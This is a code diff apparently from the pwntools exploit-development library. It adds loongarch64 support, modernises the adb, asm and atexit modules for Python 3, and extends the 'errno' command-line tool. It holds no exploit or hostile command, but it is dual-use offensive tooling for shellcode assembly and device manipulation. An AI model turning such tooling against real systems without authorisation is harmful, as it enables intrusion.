(64, 'powerpc', 'linux'): linux_ppc64_syscall,
(32, 'riscv32', 'linux'): linux_riscv32_syscall,
(64, 'riscv64', 'linux'): linux_riscv64_syscall,
(64, 'loongarch64', 'linux'): linux_loongarch64_syscall,
(32, 'i386', 'freebsd'): freebsd_i386_syscall,
(64, 'amd64', 'freebsd'): freebsd_amd64_syscall,
(64, 'aarch64', 'freebsd'): freebsd_aarch64_syscall,
(32, 'arm', 'freebsd'): freebsd_arm_syscall,
(32, 'thumb', 'freebsd'): freebsd_arm_syscall,
(32, 'mips', 'freebsd'): freebsd_mips_syscall,
(64, 'aarch64', 'freebsd'): freebsd_aarch64_syscall,
(32, 'powerpc', 'freebsd'): freebsd_ppc_syscall,
(64, 'powerpc', 'freebsd'): freebsd_ppc64_syscall,
(64, 'amd64', 'darwin'): darwin_amd64_syscall,
@@ -109,6 +108,7 @@ class ABI(object):
(64, 'aarch64', 'linux'): linux_aarch64_sigreturn,
(32, 'riscv32', 'linux'): linux_riscv32_sigreturn,
(64, 'riscv64', 'linux'): linux_riscv64_sigreturn,
(64, 'loongarch64', 'linux'): linux_loongarch64_sigreturn,
(32, 'i386', 'freebsd'): freebsd_i386_sigreturn,
(64, 'amd64', 'freebsd'): freebsd_amd64_sigreturn,
(32, 'arm', 'freebsd'): freebsd_arm_sigreturn,
@@ -124,6 +124,10 @@ class SyscallABI(ABI):
The syscall ABI treats the syscall number as the zeroth argument,
which must be loaded into the specified register.
"""
#: Register which should be loaded with the syscall number.
syscall_register: str
def __init__(self, *a, **kw):
super(SyscallABI, self).__init__(*a, **kw)
self.syscall_register = self.register_arguments[0]
@@ -142,12 +146,13 @@ class SigreturnABI(SyscallABI):
linux_i386 = ABI('esp', [], 4, 0)
linux_amd64 = ABI('rsp', ['rdi','rsi','rdx','rcx','r8','r9'], 8, 0)
linux_arm = ABI('sp', ['r0', 'r1', 'r2', 'r3'], 8, 0)
linux_aarch64 = ABI('sp', ['x0', 'x1', 'x2', 'x3'], 16, 0)
linux_aarch64 = ABI('sp', ['x0', 'x1', 'x2', 'x3', 'x4', 'x5', 'x6', 'x7'], 16, 0)
linux_mips = ABI('$sp', ['$a0','$a1','$a2','$a3'], 4, 0)
linux_ppc = ABI('sp', ['r3', 'r4', 'r5', 'r6', 'r7', 'r8', 'r9', 'r10'], 4, 0)
linux_ppc64 = ABI('sp', ['r3', 'r4', 'r5', 'r6', 'r7', 'r8', 'r9', 'r10'], 8, 0)
linux_riscv32 = ABI('sp', ['a0', 'a1', 'a2', 'a3', 'a4', 'a5', 'a6', 'a7'], 8, 0)
linux_riscv64 = ABI('sp', ['a0', 'a1', 'a2', 'a3', 'a4', 'a5', 'a6', 'a7'], 8, 0)
linux_loongarch64 = ABI('sp', ['a0', 'a1', 'a2', 'a3', 'a4', 'a5', 'a6', 'a7'], 8, 0)
sysv_i386 = linux_i386
sysv_amd64 = linux_amd64
@@ -158,6 +163,7 @@ sysv_ppc = linux_ppc
sysv_ppc64 = linux_ppc64
sysv_riscv32 = linux_riscv32
sysv_riscv64 = linux_riscv64
sysv_loongarch64 = linux_loongarch64
# Docs: https://man7.org/linux/man-pages/man2/syscall.2.html
linux_i386_syscall = SyscallABI('esp', ['eax', 'ebx', 'ecx', 'edx', 'esi', 'edi', 'ebp'], 4, 0)
@@ -169,6 +175,7 @@ linux_ppc_syscall = SyscallABI('sp', ['r0', 'r3', 'r4', 'r5', 'r6', 'r7', 'r8',
linux_ppc64_syscall = SyscallABI('sp', ['r0', 'r3', 'r4', 'r5', 'r6', 'r7', 'r8'], 8, 0)
linux_riscv32_syscall = SyscallABI('sp', ['a7', 'a0', 'a1', 'a2', 'a3', 'a4', 'a5'], 4, 0)
linux_riscv64_syscall = SyscallABI('sp', ['a7', 'a0', 'a1', 'a2', 'a3', 'a4', 'a5'], 8, 0)
linux_loongarch64_syscall = SyscallABI('sp', ['a7', 'a0', 'a1', 'a2', 'a3', 'a4', 'a5', 'a6'], 8, 0)
linux_i386_sigreturn = SigreturnABI('esp', ['eax'], 4, 0)
linux_amd64_sigreturn = SigreturnABI('rsp', ['rax'], 8, 0)
@@ -176,6 +183,7 @@ linux_arm_sigreturn = SigreturnABI('sp', ['r7'], 4, 0)
linux_aarch64_sigreturn = SigreturnABI('sp', ['x8'], 16, 0)
linux_riscv32_sigreturn = SigreturnABI('sp', ['a7'], 4, 0)
linux_riscv64_sigreturn = SigreturnABI('sp', ['a7'], 8, 0)
linux_loongarch64_sigreturn = SigreturnABI('sp', ['a7'], 8, 0)
sysv_i386_sigreturn = linux_i386_sigreturn
sysv_amd64_sigreturn = linux_amd64_sigreturn
@@ -183,6 +191,7 @@ sysv_arm_sigreturn = linux_arm_sigreturn
sysv_aarch64_sigreturn = linux_aarch64_sigreturn
sysv_riscv32_sigreturn = linux_riscv32_sigreturn
sysv_riscv64_sigreturn = linux_riscv64_sigreturn
sysv_loongarch64_sigreturn = linux_loongarch64_sigreturn
freebsd_i386 = sysv_i386
freebsd_amd64 = sysv_amd64
-2
View File
@@ -1,5 +1,3 @@
from __future__ import absolute_import
from pwnlib.adb.adb import *
from pwnlib.adb.protocol import Client
from pwnlib.adb.bootimg import BootImage
+31 -30
View File
@@ -45,24 +45,21 @@ the :mod:`pwnlib.adb` module.
adb.write('/data/local/tmp/foo', 'my data')
"""
from __future__ import absolute_import
from __future__ import division
import datetime
import functools
import glob
import logging
import os
import re
import shutil
import six
import stat
import tempfile
import time
import dateutil.parser
from pwnlib import atexit
from pwnlib import tubes
from pwnlib.tubes.remote import remote
from pwnlib.context import LocalContext
from pwnlib.context import context
from pwnlib.device import Device
@@ -85,7 +82,7 @@ def adb(argv, *a, **kw):
>>> adb.adb(['shell', 'uname']) # it is better to use adb.process
b'Linux\n'
"""
if isinstance(argv, (bytes, six.text_type)):
if isinstance(argv, (bytes, str)):
argv = [argv]
log.debug("$ " + ' '.join(context.adb + argv))
@@ -320,11 +317,12 @@ class AdbDevice(Device):
port = int(port)
try:
with remote('localhost', port, level='error') as r:
r.recvuntil('OK')
r.recvuntil(b'OK')
r.recvline() # Rest of the line
r.sendline('avd name')
self.avd = r.recvline().strip()
except:
r.sendline(b'avd name')
self._avd = r.recvlineS().strip()
except (OSError, EOFError, PwnlibException):
# ADB device disconnected or not responding, skip AVD name lookup
pass
self._initialized = True
@@ -366,7 +364,7 @@ class AdbDevice(Device):
return AdbDevice(serial, type, **kwargs)
def __wrapped(self, function):
"""Wrapps a callable in a scope which selects the current device."""
"""Wraps a callable in a scope which selects the current device."""
@functools.wraps(function)
def wrapper(*a, **kw):
with context.local(device=self):
@@ -374,7 +372,7 @@ class AdbDevice(Device):
return wrapper
def __getattr__(self, name):
"""Provides scoped access to ``adb`` module propertise, in the context
"""Provides scoped access to ``adb`` module properties, in the context
of this device.
.. doctest::
@@ -838,7 +836,7 @@ def process(argv, *a, **kw):
>>> print(adb.process(['cat','/proc/version']).recvall().decode('utf-8')) # doctest: +ELLIPSIS
Linux version ...
"""
if isinstance(argv, (bytes, six.text_type)):
if isinstance(argv, (bytes, str)):
argv = [argv]
message = "Starting %s process %r" % ('Android', argv[0])
@@ -888,15 +886,15 @@ def which(name, all = False, *a, **kw):
[]
"""
# Unfortunately, there is no native 'which' on many phones.
which_cmd = '''
which_cmd = fr'''
(IFS=:
for directory in $PATH; do
[ -x "$directory/{name}" ] || continue;
echo -n "$directory/{name}\\x00";
echo -n "$directory/{name}\x00";
done
)
[ -x "{name}" ] && echo -n "$PWD/{name}\\x00"
'''.format(name=name)
[ -x "{name}" ] && echo -n "$PWD/{name}\x00"
'''
which_cmd = which_cmd.strip()
data = process(['sh','-c', which_cmd], *a, **kw).recvall()
@@ -1119,7 +1117,7 @@ def unlock_bootloader():
if 'unlocked: yes' not in unlocked:
log.error("Unlock failed")
class Kernel(object):
class Kernel:
_kallsyms = None
@property
@@ -1194,7 +1192,7 @@ class Kernel(object):
'Nexus 7': 'oem uart-on',
}
with log.waitfor('Enabling kernel UART'):
with log.waitfor('Enabling kernel UART') as w:
if model not in known_commands:
log.error("Device UART is unsupported.")
@@ -1229,7 +1227,7 @@ class Kernel(object):
kernel = Kernel()
class Property(object):
class Property:
def __init__(self, name=None):
# Need to avoid overloaded setattr() so we go through __dict__
self.__dict__['_name'] = name
@@ -1263,7 +1261,7 @@ class Property(object):
>>> adb.properties.ro.build.version.sdk == "24"
True
"""
if isinstance(other, six.string_types):
if isinstance(other, str):
return str(self) == other
return super(Property, self).__eq__(other)
@@ -1275,7 +1273,6 @@ properties = Property()
def _build_date():
"""Returns the build date in the form YYYY-MM-DD as a string"""
import datetime
# Use ro.build.date.utc (integer epoch seconds) which is set by the
# AOSP build system and available on all standard Android devices.
@@ -1284,7 +1281,7 @@ def _build_date():
utc = getprop('ro.build.date.utc')
if utc and utc.strip().isdigit():
try:
as_datetime = datetime.datetime.fromtimestamp(int(utc.strip()), dateutil.tz.UTC)
as_datetime = datetime.datetime.fromtimestamp(int(utc.strip()), tz=datetime.timezone.utc)
return as_datetime.strftime('%Y-%b-%d')
except (OSError, OverflowError, ValueError):
pass
@@ -1293,6 +1290,11 @@ def _build_date():
as_string = getprop('ro.build.date')
if not as_string:
return ''
try:
import dateutil.parser
except ImportError:
log.exception("dateutil is required to parse ro.build.date since ro.build.date.utc is missing. Please install it with 'pip install python-dateutil'")
try:
as_datetime = dateutil.parser.parse(as_string)
except (ValueError, OverflowError):
@@ -1444,7 +1446,7 @@ def compile(source):
return output[0]
class Partition(object):
class Partition:
def __init__(self, path, name, blocks=0):
self.path = path
self.name = name
@@ -1496,7 +1498,7 @@ def readlink(path):
return path.decode()
class Partitions(object):
class Partitions:
"""Enable access to partitions
Example:
@@ -1575,7 +1577,7 @@ def install(apk, *arguments):
This is a wrapper around 'pm install', which backs 'adb install'.
Arguments:
apk(str): Path to the APK to intall (e.g. ``'foo.apk'``)
apk(str): Path to the APK to install (e.g. ``'foo.apk'``)
arguments: Supplementary arguments to 'pm install',
e.g. ``'-l', '-g'``.
"""
@@ -1583,9 +1585,9 @@ def install(apk, *arguments):
log.error("APK must have .apk extension")
basename = os.path.basename(apk)
target_path = '/data/local/tmp/{}.apk'.format(basename)
target_path = f'/data/local/tmp/{basename}.apk'
with log.progress("Installing APK {}".format(basename)) as p:
with log.progress(f"Installing APK {basename}") as p:
with context.quiet:
p.status('Copying APK to device')
push(apk, target_path)
@@ -1606,7 +1608,7 @@ def uninstall(package, *arguments):
package(str): Name of the package to uninstall (e.g. ``'com.foo.MyPackage'``)
arguments: Supplementary arguments to ``'pm install'``, e.g. ``'-k'``.
"""
with log.progress("Uninstalling package {}".format(package)):
with log.progress(f"Uninstalling package {package}"):
with context.quiet:
return process(['pm','uninstall',package] + list(arguments)).recvall()
@@ -1624,4 +1626,3 @@ def version():
"""Returns rthe platform version as a tuple."""
prop = getprop('ro.build.version.release')
return [int(v) for v in prop.split('.')]
+1 -3
View File
@@ -1,5 +1,3 @@
from __future__ import division
import ctypes
BOOT_MAGIC = b"ANDROID!"
@@ -35,7 +33,7 @@ class boot_img_hdr(ctypes.Structure):
('extra_cmdline', ctypes.c_char * BOOT_EXTRA_ARGS_SIZE),
]
class BootImage(object):
class BootImage:
def __init__(self, data):
self.data = data
self.header = boot_img_hdr.from_buffer_copy(data)
+2 -6
View File
@@ -1,10 +1,6 @@
from __future__ import unicode_literals
from __future__ import division
import ctypes
import io
import os
import six
import sys
from pwnlib.log import getLogger
@@ -27,7 +23,7 @@ class bootloader_images_header(ctypes.Structure):
BOOTLDR_MAGIC = b'BOOTLDR!'
class BootloaderImage(object):
class BootloaderImage:
def __init__(self, data):
"""Android Bootloader image
@@ -65,7 +61,7 @@ class BootloaderImage(object):
Returns:
Contents of the image.
"""
if isinstance(index_or_name, six.integer_types):
if isinstance(index_or_name, int):
index = index_or_name
else:
for i in range(len(self.img_info)):
+4 -4
View File
@@ -17,7 +17,10 @@ The easiest example is to enable more verbose debugging. Just set ``DEBUG``.
These arguments are automatically extracted, regardless of their name, and
exposed via :mod:`pwnlib.args.args`, which is exposed as the global variable
:data:`args`. Arguments which ``pwntools`` reserves internally are not exposed
this way.
this way. These reserved arguments (such as ``DEBUG`` and ``NOASLR``) instead
adjust :data:`pwnlib.context.context`, so their effect is read from ``context``
(e.g. ``context.log_level``, ``context.aslr``) rather than from ``args`` --
``args.NOASLR`` is always the empty string.
.. code-block:: bash
@@ -48,9 +51,6 @@ The full list of supported "magic arguments" and their effects are listed
below.
"""
from __future__ import absolute_import
from __future__ import division
import collections
import logging
import os
+33 -23
View File
@@ -1,4 +1,3 @@
# -*- coding: utf-8 -*-
r"""
Utilities for assembling and disassembling code.
@@ -39,9 +38,6 @@ Disassembly
' 0: b8 0b 00 00 00 mov eax, 0xb'
"""
from __future__ import absolute_import
from __future__ import division
import errno
import os
import platform
@@ -59,6 +55,7 @@ from pwnlib import shellcraft
from pwnlib.context import LocalContext
from pwnlib.context import context
from pwnlib.log import getLogger
from pwnlib.util.fiddling import hexstr
from pwnlib.util.hashes import sha1sumhex
from pwnlib.util.packing import _encode
from pwnlib.version import __version__
@@ -133,11 +130,10 @@ def print_binutils_instructions(util, context):
if packages:
instructions = '$ sudo apt-get install %s' % packages[0]
log.error("""
Could not find %(util)r installed for %(context)s
log.error(f"""\
Could not find {util!r} installed for {context}
Try installing binutils for this architecture:
%(instructions)s
""".strip() % locals())
{instructions}""")
def check_binutils_version(util):
@@ -188,29 +184,37 @@ def which_binutils(util, check_version=False):
# Fix up pwntools vs Debian triplet naming, and account
# for 'thumb' being its own pwntools architecture.
arches = [arch] + {
aliases = {
'thumb': ['arm', 'aarch64'],
'i386': ['x86_64', 'amd64'],
'i686': ['x86_64', 'amd64'],
'amd64': ['x86_64', 'i386'],
'amd64': ['x86_64'],
'loongarch64': ['loong64'],
}.get(arch, [])
# Some binutils can support multiple architectures. Try them as fallbacks.
fallback_arches = {
'i386': ['x86_64', 'amd64'],
'amd64': ['i386'],
'arm': ['aarch64'],
'mips': ['mipsel'],
'mipsel': ['mips'],
'mips64': ['mips', 'mipsel'],
'mips64el': ['mipsel', 'mips'],
'mips64': ['mips64el', 'mips', 'mipsel'],
'mips64el': ['mips64', 'mipsel', 'mips'],
'powerpc64': ['powerpc'],
'sparc64': ['sparc'],
'riscv32': ['riscv64', 'riscv'],
'riscv64': ['riscv32', 'riscv'],
}.get(arch, [])
arches = [arch] + aliases + fallback_arches
# If one of the candidate architectures matches the native
# architecture, use that as a last resort.
# architecture, use that as a last resort before trying fallbacks.
machine = platform.machine()
machine = 'i386' if machine == 'i686' else machine
try:
with context.local(arch = machine):
if context.arch in arches:
arches.append(None)
arches = [arch] + aliases + [None] + fallback_arches
except AttributeError:
log.warn_once("Your local binutils won't be used because architecture %r is not supported." % machine)
@@ -223,6 +227,8 @@ def which_binutils(util, check_version=False):
if platform.system() == 'Windows':
utils = [util + '.exe']
# Try the explicit tools for the target architecture first,
# then the native one optionally, then fallbacks.
for arch in arches:
for gutil in utils:
# e.g. objdump
@@ -247,7 +253,7 @@ def which_binutils(util, check_version=False):
# No dice!
print_binutils_instructions(util, context)
util_versions = defaultdict(tuple)
util_versions: defaultdict[str, tuple[int, ...]] = defaultdict(tuple)
def _assembler():
gas, version = which_binutils('as', check_version=True)
@@ -284,8 +290,11 @@ def _assembler():
'ia64': [gas, '-m%ce' % context.endianness[0]],
# riscv64-unknown-elf-as supports riscv32 as well as riscv64
'riscv32': [gas, '-march=rv32gc', '-mabi=ilp32'],
'riscv64': [gas, '-march=rv64gc', '-mabi=lp64'],
'riscv32': [gas, '-march=rv32gv_zba_zbb_zbs', '-mabi=ilp32'],
'riscv64': [gas, '-march=rv64gv_zba_zbb_zbs', '-mabi=lp64'],
# loongarch64 supports none of -64, -EB, -EL or -march
'loongarch64' : [gas],
}
assembler = assemblers.get(context.arch, [gas])
@@ -387,6 +396,7 @@ def _bfdname():
'powerpc64' : 'elf64-powerpc',
'riscv32' : 'elf%d-%sriscv' % (context.bits, E),
'riscv64' : 'elf%d-%sriscv' % (context.bits, E),
'loongarch64' : 'elf%d-loongarch' % context.bits,
'vax' : 'elf32-vax',
's390' : 'elf%d-s390' % context.bits,
'sparc' : 'elf32-sparc',
@@ -411,6 +421,7 @@ def _bfdarch():
'thumb': 'arm',
'riscv32': 'riscv',
'riscv64': 'riscv',
'loongarch64': 'loongarch64'
}
if arch in convert:
@@ -629,8 +640,7 @@ def make_elf(data,
assembler = _assembler()
linker = _linker()
code = _arch_header()
code += '.string "%s"' % ''.join('\\x%02x' % c for c in bytearray(data))
code += '\n'
code += f'.string {hexstr(data)}\n'
log.debug("Building ELF:\n" + code)
@@ -698,7 +708,7 @@ def make_macho(data, is_shellcode=False):
if is_shellcode:
code += cpp(data)
else:
code += '.string "%s"' % ''.join('\\x%02x' % c for c in bytearray(data))
code += f'.string {hexstr(data)}\n'
log.debug('Assembling\n%s' % code)
@@ -807,7 +817,7 @@ def asm(shellcode, vma = 0, extract = True, shared = False):
os.makedirs(cache_dir)
# Include the context in the hash in addition to the shellcode
hash_params = '{}_{}_{}_{}'.format(vma, extract, shared, __version__)
hash_params = f'{vma}_{extract}_{shared}_{__version__}'
fingerprint_params = _encode(code) + _encode(hash_params) + _encode(' '.join(assembler)) + _encode(' '.join(linker)) + _encode(' '.join(objcopy))
asm_hash = sha1sumhex(fingerprint_params)
cache_file = os.path.join(cache_dir, asm_hash)
@@ -866,7 +876,7 @@ def asm(shellcode, vma = 0, extract = True, shared = False):
universal_newlines = True
).strip()
if extract and len(relocs.split('\n')) > 1:
log.error('Shellcode contains relocations:\n%s' % relocs)
log.warn('Shellcode contains relocations:\n%s' % relocs)
else:
shutil.copy(step2, step3)
+32 -16
View File
@@ -2,12 +2,11 @@
Analogous to atexit, this module allows the programmer to register functions to
be run if an unhandled exception occurs.
"""
from __future__ import absolute_import
from __future__ import division
import sys
import threading
import traceback
from types import TracebackType
from typing import Any, Callable, ParamSpec, TypeVar
from pwnlib.context import context
@@ -15,9 +14,12 @@ __all__ = ['register', 'unregister']
_lock = threading.Lock()
_ident = 0
_handlers = {}
_handlers: dict[int, tuple[Callable[..., Any], Any, Any, dict[str, Any]]] = {}
def register(func, *args, **kwargs):
_P = ParamSpec('_P')
_R = TypeVar('_R')
def register(func: Callable[_P, _R], *args: _P.args, **kwargs: _P.kwargs) -> int:
"""register(func, *args, **kwargs)
Registers a function to be called when an unhandled exception occurs. The
@@ -43,10 +45,24 @@ def register(func, *args, **kwargs):
actual exception-handler. The exception-handler can then be unregistered
with::
atexception.unregister(handler)
ident = atexception.register(handler)
atexception.unregister(ident)
This function is thread safe.
>>> def handler(a, b):
... print("Exception handler", a, b)
>>> ident = atexception.register(handler, 13, 37)
>>> raise Exception("Unexpected error") # doctest: +ELLIPSIS
Traceback (most recent call last):
...
Exception: Unexpected error
Exception handler 13 37
>>> atexception.unregister(ident)
>>> raise Exception("Unexpected error") # doctest: +ELLIPSIS
Traceback (most recent call last):
...
Exception: Unexpected error
"""
global _ident
with _lock:
@@ -55,16 +71,16 @@ def register(func, *args, **kwargs):
_handlers[ident] = (func, args, kwargs, vars(context))
return ident
def unregister(func):
"""unregister(func)
def unregister(ident: int) -> None:
"""unregister(ident)
Remove `func` from the collection of registered functions. If `func` isn't
registered this is a no-op.
Remove the exception-handler identified by `ident` from the list of registered
handlers. If `ident` isn't registered this is a no-op.
"""
if func in _handlers:
del _handlers[func]
if ident in _handlers:
del _handlers[ident]
def _run_handlers():
def _run_handlers() -> None:
"""_run_handlers()
Run registered handlers. They run in the reverse order of which they were
@@ -86,12 +102,12 @@ def _run_handlers():
# extract the current exception and rewind the traceback to where it
# originated
typ, val, tb = sys.exc_info()
traceback.print_exception(typ, val, tb.tb_next)
traceback.print_exception(typ, value=val, tb=tb.tb_next if tb else None)
# we rely on the existing excepthook to print exceptions
_oldhook = getattr(sys, 'excepthook', None)
def _newhook(typ, val, tb):
def _newhook(typ: type[BaseException], val: BaseException, tb: TracebackType | None) -> None:
"""_newhook(typ, val, tb)
Our excepthook replacement. First the original hook is called to print the
@@ -99,7 +115,7 @@ def _newhook(typ, val, tb):
"""
if _oldhook:
_oldhook(typ, val, tb)
if _run_handlers:
if _handlers:
_run_handlers()
sys.excepthook = _newhook
+12 -18
View File
@@ -7,13 +7,11 @@ this replacement module also defines :func:`unregister`.
This module also fixes a the issue that exceptions raised by an exit handler is
printed twice when the standard :mod:`atexit` is used.
"""
from __future__ import absolute_import
from __future__ import division
import sys
import threading
import traceback
import atexit as std_atexit
from typing import Any, Callable, ParamSpec, TypeVar
from pwnlib.context import context
@@ -21,9 +19,12 @@ __all__ = ['register', 'unregister']
_lock = threading.Lock()
_ident = 0
_handlers = {}
_handlers: dict[int, tuple[Callable[..., Any], Any, Any, dict[str, Any]]] = {}
def register(func, *args, **kwargs):
_P = ParamSpec('_P')
_R = TypeVar('_R')
def register(func: Callable[_P, _R], *args: _P.args, **kwargs: _P.kwargs) -> int:
"""register(func, *args, **kwargs)
Registers a function to be called on program termination. The function will
@@ -47,7 +48,8 @@ def register(func, *args, **kwargs):
Notice however that this will bind ``handler`` to the identifier and not the
actual exit-handler. The exit-handler can then be unregistered with::
atexit.unregister(handler)
ident = atexit.register(handler)
atexit.unregister(ident)
This function is thread safe.
@@ -59,7 +61,7 @@ def register(func, *args, **kwargs):
_handlers[ident] = (func, args, kwargs, vars(context))
return ident
def unregister(ident):
def unregister(ident: int) -> None:
"""unregister(ident)
Remove the exit-handler identified by `ident` from the list of registered
@@ -68,7 +70,7 @@ def unregister(ident):
if ident in _handlers:
del _handlers[ident]
def _run_handlers():
def _run_handlers() -> None:
"""_run_handlers()
Run registered exit-handlers. They run in the reverse order of which they
@@ -90,14 +92,6 @@ def _run_handlers():
# extract the current exception and rewind the traceback to where it
# originated
typ, val, tb = sys.exc_info()
traceback.print_exception(typ, val, tb.tb_next)
# if there's already an exitfunc registered be sure to run that too
if hasattr(sys, "exitfunc"):
register(sys.exitfunc)
if sys.version_info[0] < 3:
sys.exitfunc = _run_handlers
else:
std_atexit.register(_run_handlers)
traceback.print_exception(typ, value=val, tb=tb.tb_next if tb else None)
std_atexit.register(_run_handlers)
+2 -4
View File
@@ -1,6 +1,3 @@
from __future__ import absolute_import
from __future__ import division
import argparse
import sys
@@ -79,7 +76,8 @@ parser.add_argument(
parser.add_argument(
'-e',
'--encoder',
help="Specific encoder to use"
metavar='X',
help="Compatibility flag, ignored"
)
parser.add_argument(
+3 -8
View File
@@ -1,6 +1,3 @@
from __future__ import absolute_import
from __future__ import division
import argparse
import sys
@@ -15,7 +12,6 @@ parser = common.parser_commands.add_parser(
parser.add_argument(
'elf',
nargs='*',
type=argparse.FileType('rb'),
help='Files to check'
)
parser.add_argument(
@@ -23,12 +19,11 @@ parser.add_argument(
nargs='*',
dest='elf2',
metavar='elf',
type=argparse.FileType('rb'),
help='File to check (for compatibility with checksec.sh)'
)
def main(args):
files = args.elf or args.elf2 or []
files = args.elf or args.elf2 or []
if not files:
parser.print_usage()
@@ -36,9 +31,9 @@ def main(args):
for f in files:
try:
e = ELF(f.name)
e = ELF(f)
except Exception as e:
print("{name}: {error}".format(name=f.name, error=e))
print(f"{f}: {e}")
if __name__ == '__main__':
common.main(__file__, main)
-3
View File
@@ -1,6 +1,3 @@
from __future__ import absolute_import
from __future__ import division
import argparse
import functools
import re
+4 -11
View File
@@ -1,8 +1,3 @@
from __future__ import absolute_import
from __future__ import division
import argparse
import six
import string
import sys
@@ -43,15 +38,16 @@ parser.add_argument(
help = 'The os/architecture/endianness/bits the shellcode will run in (default: linux/i386), choose from: %s' % common.choices,
)
group = parser.add_mutually_exclusive_group(required=False)
group.add_argument(
xgroup = parser.add_mutually_exclusive_group(required=False)
xgroup.add_argument(
'-l', '-o', '--offset', '--lookup',
dest = 'lookup',
type = str.encode,
metavar = 'lookup_value',
help = 'Do a lookup instead printing the alphabet',
)
group.add_argument(
xgroup.add_argument(
'count',
type=int,
nargs='?',
@@ -66,9 +62,6 @@ def main(args):
if args.lookup:
pat = args.lookup
if six.PY3:
pat = bytes(pat, encoding='utf-8')
try:
pat = int(pat, 0)
pat = pack(pat, 'all')
-3
View File
@@ -1,6 +1,3 @@
from __future__ import absolute_import
from __future__ import division
import argparse
import sys
-3
View File
@@ -1,6 +1,3 @@
from __future__ import absolute_import
from __future__ import division
import argparse
from pwn import *
from pwnlib.commandline import common
-4
View File
@@ -1,7 +1,3 @@
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import argparse
import re
import string
-3
View File
@@ -1,6 +1,3 @@
from __future__ import absolute_import
from __future__ import division
import shutil
from argparse import ArgumentParser
from subprocess import CalledProcessError
-3
View File
@@ -1,6 +1,3 @@
from __future__ import absolute_import
from __future__ import division
import sys
import pwnlib.args
+183 -28
View File
@@ -1,9 +1,23 @@
from __future__ import absolute_import, print_function
"""Look up ``errno`` values for the architecture selected by ``-c``.
import argparse
The examples below run in the documentation doctest suite.
>>> from pwnlib.context import context
>>> from pwnlib.commandline.errno import _context_table
>>> with context.local(arch='amd64', os='linux'):
... _context_table()['ECONNRESET']
104
>>> with context.local(arch='mips', os='linux'):
... _context_table()['ECONNRESET']
131
"""
from argparse import Namespace
from typing import Generator
import os
import errno
import pwnlib.constants as constants
from pwnlib.context import context
from pwnlib.commandline import common
parser = common.parser_commands.add_parser(
@@ -13,37 +27,178 @@ parser = common.parser_commands.add_parser(
)
parser.add_argument(
'error', help='Error message or value', type=str
'error', help='Error message or value (errno number, errno name, or perror string)',
nargs='?', type=str
)
parser.add_argument(
'-l', '--list', action='store_true',
help='List every known errno (number, name, perror string).'
)
parser.add_argument(
'-s', '--search', action='store_true',
help='Treat the argument as an errno name or perror substring and print every match.'
)
parser.add_argument(
'-c', '--context',
metavar = 'context',
type = common.context_arg,
help = 'Look the errno values up for this architecture or os, e.g. `-c aarch64`.',
)
def main(args):
try:
value = int(args.error, 0)
if value < 0:
value = -value
if 0x100000000 - value < 0x200:
value = 0x100000000 - value
if value not in errno.errorcode:
print("No errno for %s" % value)
return
name = errno.errorcode[value]
except ValueError:
name = args.error.upper()
if not hasattr(errno, name):
print("No errno for %s" % name)
return
value = getattr(errno, name)
def _host_table() -> dict[str, int]:
"""Return ``{name: value}`` for every errno the host standard library knows."""
return {name: getattr(errno, name) for name in dir(errno)
if name.isupper() and isinstance(getattr(errno, name), int)}
print('#define', name, value)
print(os.strerror(value))
def _context_table() -> dict[str, int]:
"""Return ``{name: value}`` for the errno numbers ``context`` uses."""
if context.os == 'freebsd':
module = getattr(constants, 'freebsd', None)
else:
module = getattr(getattr(constants, context.os, None), context.arch, None)
if module is None:
return {}
table = {}
for name in _host_table():
value = getattr(module, name, None)
if value is not None:
table[name] = int(getattr(value, 'value', value))
return table
def _message(name: str) -> str:
"""Return the perror string of ``name`` according to the host, or ``''``."""
value = getattr(errno, name, None)
if not isinstance(value, int):
return ''
try:
return os.strerror(value)
except ValueError:
return ''
def _iter_known_errnos(table: dict[str, int]) -> Generator[tuple[int, str, str], None, None]:
"""Yield ``(value, name, message)`` tuples sorted by numeric value.
Aliases sharing a number are reported once: the canonical name from
`errno.errorcode` wins when it maps to the same value, otherwise the
first name alphabetically does.
>>> with context.local(arch='aarch64', os='linux'):
... [(value, name) for value, name, _ in _iter_known_errnos(_context_table())][:3]
[(1, 'EPERM'), (2, 'ENOENT'), (3, 'ESRCH')]
"""
# ``errno.errorcode`` is the canonical name for a number, so prefer it over the
# alphabetically first alias to keep the default listing identical to before.
canonical = {value: name for value, name in errno.errorcode.items() if table.get(name) == value}
seen = set()
for name, value in sorted(table.items(), key=lambda item: (item[1], item[0])):
if value in seen:
continue
seen.add(value)
name = canonical.get(value, name)
yield value, name, _message(name)
def _print_errno(value: int, name: str | None = None, message: str | None = None) -> None:
if name is None:
name = errno.errorcode.get(value, '')
if message is None:
message = os.strerror(value)
if name:
print('#define %s %d' % (name, value))
else:
print('#define <unknown> %d' % value)
if message:
print(message)
def _search_errnos(needle: str, table: dict[str, int]) -> list[tuple[int, str, str]]:
"""Return errnos whose name or ``strerror`` text contains ``needle``.
The match is case-insensitive, so ``pwn errno -c mips -s conn`` finds the
connection-oriented errnos even when the host cannot spell them out.
>>> with context.local(arch='mips', os='linux'):
... [(value, name) for value, name, _ in _search_errnos('econnreset', _context_table())]
[(131, 'ECONNRESET')]
"""
needle = needle.lower()
return [(v, n, m) for v, n, m in _iter_known_errnos(table)
if needle in n.lower() or needle in m.lower()]
def main(args: Namespace) -> None:
if args.context is None:
table = _host_table()
else:
table = _context_table()
if not table:
print('No errno values known for %s/%s' % (context.os, context.arch))
return
if args.list:
for value, name, message in _iter_known_errnos(table):
print('%-3d %-10s %s' % (value, name, message))
return
if args.error is None:
parser.error('the following arguments are required: error (or pass --list)')
if args.search:
matches = _search_errnos(args.error, table)
if not matches:
print("No errno matched %r" % args.error)
return
for value, name, message in matches:
_print_errno(value, name, message)
print()
return
try:
value = int(args.error, 0)
if value < 0:
value = -value
if 0x100000000 - value < 0x200:
value = 0x100000000 - value
name = next((n for n, v in sorted(table.items()) if v == value), None)
if name is None:
print("No errno for %s" % value)
return
except ValueError:
name = args.error.upper()
value = table.get(name)
if value is None:
# Fall back to a substring search against perror messages so
# ``pwn errno 'Cannot allocate memory'`` resolves to ENOMEM.
matches = _search_errnos(args.error, table)
if not matches:
print("No errno for %s" % args.error)
return
for value, name, message in matches:
_print_errno(value, name, message)
if len(matches) > 1:
print()
return
_print_errno(value, name, _message(name))
if __name__ == '__main__':
common.main(__file__, main)
-3
View File
@@ -1,6 +1,3 @@
from __future__ import absolute_import
from __future__ import division
import argparse
import sys
+7 -6
View File
@@ -1,8 +1,4 @@
#!/usr/bin/env python
